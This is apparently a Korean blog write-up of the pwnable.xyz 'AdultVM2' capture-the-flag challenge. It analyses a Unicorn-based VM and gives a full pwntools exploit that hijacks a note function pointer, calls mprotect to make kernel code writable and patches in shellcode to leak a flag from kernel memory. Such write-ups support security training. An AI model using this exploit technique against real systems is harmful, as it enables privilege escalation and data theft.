tmxklab
[Pwnable.xyz] AdultVM2 본문
1. 문제
nc svc.pwnable.xyz 30048
AdultVM과 동일하다. 여기서는 flag2.txt파일을 읽어야 할 것 같다.
이전에 살펴봤듯이 flag2.txt는 start_kernel()로직에서 file open하는 것을 확인하였으므로 커널 영역에서 확인해야 할 듯 하다.
unicorn-engine관련 함수 참고)
1) start.py 코드 분석
1-1) start_kernel()
KERNEL_ADDRESS = 0xFFFFFFFF81000000
KERNEL_STACK = 0xFFFF8801FFFFF000
KERNEL_SYSCALL_HANDLER = KERNEL_ADDRESS + 7
KERNEL_SEGFAULT_HANDLER = KERNEL_ADDRESS + 14
MAPPING_SIZE = 0x100000
def start_kernel():
kernel = read("/home/cmc/Desktop/pwnable/adultvm/kernel")
flag2 = read("/home/cmc/Desktop/pwnable/adultvm/flag2.txt")
# 1. 인스턴스 생성 및 유저 영역 메모리 매핑
# text영역(r--), data영역(rw-), stack영역(rw-)
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ, USER_TEXT_MEM)
mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)
# 2. 커널 영역 메모리 매핑
# KERNEL_ADDRESS(r-x), KERNEL_STACK - MAPPING_SIZE(rw-)
mu.mem_map(KERNEL_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC)
mu.mem_map(KERNEL_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE)
# 3. 커널 영역 메모리 쓰고 hook event에 대한 콜백함수 등록
# KERNEL_ADDRESS(텍스트 영역인듯)에 open한 kernel데이터 쓰기
# handle_kernel, in, out, interrupt, invalid 콜백함수 등록
mu.mem_write(KERNEL_ADDRESS, kernel)
mu.hook_add(UC_HOOK_CODE, handle_kernel, None, KERNEL_ADDRESS, KERNEL_ADDRESS+MAPPING_SIZE)
mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None, 1, 0, UC_X86_INS_IN)
mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None, 1, 0, UC_X86_INS_OUT)
mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt)
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_kernel_invalid)
# 4. 레지스터에 값 적용
# RSP = KERNEL_STACK(0xFFFF8801FFFFF000) - 0X1000
# RIP = KERNEL_ADDRESS(0xFFFFFFFF81000000) -> text영역임
mu.reg_write(UC_X86_REG_RSP, KERNEL_STACK-0x1000)
mu.reg_write(UC_X86_REG_RIP, KERNEL_ADDRESS)
# 5. flag2.txt파일 내용 메모리에 쓰기
# KERNEL_ADDRESS + 0x5000에 flag2.txt 파일 내용있음
mu.mem_write(KERNEL_ADDRESS + 0x5000, flag2)
# 6. 에뮬 시작
mu.emu_start(KERNEL_ADDRESS, KERNEL_ADDRESS + len(kernel))
- 보기 쉽게 위에 주석을 다 달아놨다. 이전에 babyVM에서 유니콘 엔진 함수들을 봐서 그런지 직관적으로 어떻게 작동하는지 대충 이해가 간다.
- 중요한 부분은 KERNEL_ADDRESS + 0X5000에 우리가 원하는 flag2.txt파일 내용이 있다. 이 부분을 읽으면 될 듯하다.
- 마지막으로 후크 이벤트에 대한 콜백함수를 살펴보자
- mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None, 1, 0, UC_X86_INS_IN)
- mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None, 1, 0, UC_X86_INS_OUT)
- mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt)
- 위에 2개는 sys_read, write에 대한 처리를 하는 함수를 등록하는 것 같고 마지막 1개는 UC_HOOK_INTR 인터럽트가 발생할 때 처리하는 함수를 등록하는 것 같다.
1-2) handle_kernel_in, out()
def handle_kernel_in(uc, port, size, user_data):
if port == 0x3f8 and size == 1:
c = sys.stdin.read(1)
if not c:
os._exit(-1)
return ord(c)
def handle_kernel_out(uc, port, size, value, user_data):
if port == 0x3f8 and size == 1:
sys.stdout.write(chr(value))
sys.stdout.flush()
- sys_read, write를 처리하는 함수인 것 같다.
1-3) handle_kernel_interrupt()
def handle_kernel_interrupt(uc, intno, data):
if intno == 0x70:
rax = uc.reg_read(UC_X86_REG_RAX)
if rax == 0:
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
uc.mem_protect(rdi, rsi, rdx)
elif rax == 7:
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
buf = str(eval(str(uc.mem_read(rdi, rdx))))
uc.mem_write(rsi, buf)
uc.reg_write(UC_X86_REG_RAX, len(buf))
- 인터럽트가 발생하면 실행되는 콜백 함수이다.
- rax값을 읽어서 rax가 0일 때 mprotext(rdi, rsi, rdx)를 실행시킨다.
- 그리고 rax값이 7일 때 잘 보면 eval()가 보인다. 이 부분은 일단 킵해두자
2. 접근방법
위 코드 분석을 통해 알아낼 수 있는 점은 KERNEL_ADDRESS(0xFFFFFFFF81000000)+0x5000주소에 flag2.txt파일 내용이 작성된 것을 알 수 있고 sys_read, write에 대한 콜백 함수, 인터럽트가 발생했을 때 처리하는 콜백 함수를 확인할 수 있다.
우리의 목표는 커널 영역에 로드된 0xFFFFFFFF81005000위치에 존재하는 플래그 값을 읽는 것이므로 유저 영역에서 sys_write를 통해 해당 위치를 읽을 때 커널에서 어떻게 처리되는지 확인해보자
롸업을 보면서 이해하기...
start.py에서 KERNEL_ADDRESS가 0xFFFFFFFF81000000이므로 kernel파일을 올릴 때 offset을 저렇게 주고 시작
sys_write를 호출하는 로직인 것 같다. rdi(fd)값이 1인지 검사하고 0x800000000000과 rsi(buf)를 검사한 뒤에 실행되는 것 같다. 즉 출력할 buf주소 값이 0x800000000000보다 작거나 같으면 sys_write가 실행되지 않고 분기되는 것 같다. 따라서, 플래그 값은 0xFFFFFFFF81005000에 있기 때문에 위 조건문에서 걸리지게 된다.
그래서 일반적인 방법으로 sys_write를 통해 커널 영역에 있는 플래그 값을 출력할 수 없으므로 커널 데이터를 내가 원하는 커스텀 코드(주소 검사가 없는 sys_write코드)로 패치해서 호출하면 될 것이고 패치하기 위해서 mprotect함수를 이용해서 커널의 코드 영역의 권한을 모두 다 줘버리면 패치를 할 수 있을 것이다.
참고로 sys_mprotect()를 호출하면 커널에서 다음 루틴을 수행하고
int 0x70을 통해 인터럽트를 발생시켜 **handle_kernel_interrupt()**콜백함수에 의해 rdi, rsi, rdx를 세팅하고 sys_mprotect를 실행시킨다.
커스텀 코드는 kernel에 구현되어 있는 sys_write에서 범위검사를 뺀 코드만 작성
mov rcx, rdx
mov rax, rcx
mov dx, 3F8h
rep outsb
iret
AdultVM에서 notes[0]의 값을 조절할 수 있고 함수 포인터를 변경할 수 있는 것을 확인하였다.
show_note()에서 notes[id].show()를 호출하는 부분이다. 여기서 notes[0]구조의 각 id, note, size를 출력하기 위해서 notes[0]에 있는 값을 rdx, rcx, rsi, rdi에 세팅하고 rax를 호출한다. 여기서 rax에 __syscall()를 넣으면 자유롭게 레지스터 값을 세팅하고 원하는 syscall을 수행할 수 있다.
추가로 mprotect함수를 실행시키기 위해서 rax값을 0x10을 넣어야 하는데 read_line()에서는 0x10을 못 넣기 때문에 처음에 do_read()를 실행시켜 notes[0]의 값을 세팅시켜준다.
정리)
0) mprotect()를 실행시키기 위해 rax값에 0x10을 넣어야 하지만 read_line()에서 0x10을 못 넣으므로 do_read()를 실행시켜 우회
1) mprotect함수를 실행시켜 kernel code영역의 권한을 rwx로 세팅
- sys_write를 사용하여 flag값을 읽는데 범위 검사에 걸리므로 범위 검사가 없는 커스텀 코드를 패치하기 위해서
2) sys_read를 통해서 커스텀 코드 패치
- 이 때, 특정 syscall을 발생할 때 처리하는 로직이 있는 곳에 패치
3) 커스텀 코드가 위치한 부분에 syscall을 발생
3. 풀이
1) 익스코드
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p = process(["python", "start.py"])
#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)
kernel_addr = 0xFFFFFFFF81000000
unmmap_addr = 0xFFFFFFFF8100013E
#mmap_addr = 0xFFFFFFFF81000130
syscall_addr = 0x4000338
read_addr = 0x400000f
notes_addr = 0x4100380
custom_code = '''
mov rcx, rdx
mov rax, rcx
mov dx, 0x3f8
rep outsb
iret
'''
def edit(idx, content):
p.sendlineafter("3. Exit\n", str(1))
p.sendlineafter("Note id: ", str(idx))
p.sendlineafter("Contents: ", content)
def show(idx):
p.sendlineafter("3. Exit\n", str(2))
p.sendlineafter("Note id: ", str(idx))
for idx in range(0, 9):
edit(idx, "A")
# 1. do_read()
# Input notes[0] -> 0x10
payload = "A"*0x8
payload += p64(notes_addr) # rsi(buf)
payload += p64(0x28) # rdx(count)
payload += p64(0xff)*2
payload += p64(read_addr)
edit(9, payload)
show(0)
# 2. write & execute sys_mprotect
# sys_mprotect : rax = 0xa, rdi = start, rsi = len, rdx = prot
payload = p64(10) # rax(syscall number)
payload += p64(kernel_addr) # rdi(kernel)
payload += p64(0x1000) # rsi(len)
payload += p64(7) # rdx(rwx)
payload += p64(syscall_addr) # call __syscall()
sleep(0.1)
p.send(payload)
show(0)
# 3. patch custom code -> sys_read
custom_code = asm(custom_code)
payload = "A"*0x8
payload += p64(0) # rax(syscall number)
payload += p64(0) # rdi(fd)
payload += p64(unmmap_addr) # rsi(buf)
payload += p64(len(custom_code)) # rdx(count)
payload += p64(syscall_addr) # call __syscall()
edit(9, payload)
show(0)
sleep(0.1)
p.send(custom_code)
# 4. sys_unmmap() -> custom_code
payload = "A"*0x8
payload += p64(11) # rax(syscall number)
payload += p64(1) # rdi(fd)
payload += p64(kernel_addr+0x5000) # rsi(buf)
payload += p64(0x40) # rdx(count)
payload += p64(syscall_addr) # call __syscall()
edit(9, payload)
show(0)
p.interactive()
2) 실행결과
4. 몰랐던 개념
참고)
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] note v5 (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] AdultVM 3 (0) | 2020.09.09 |
[Pwnable.xyz] AdultVM (0) | 2020.09.09 |
[Pwnable.xyz] note v4 (0) | 2020.09.09 |
[Pwnable.xyz] fishing (0) | 2020.09.09 |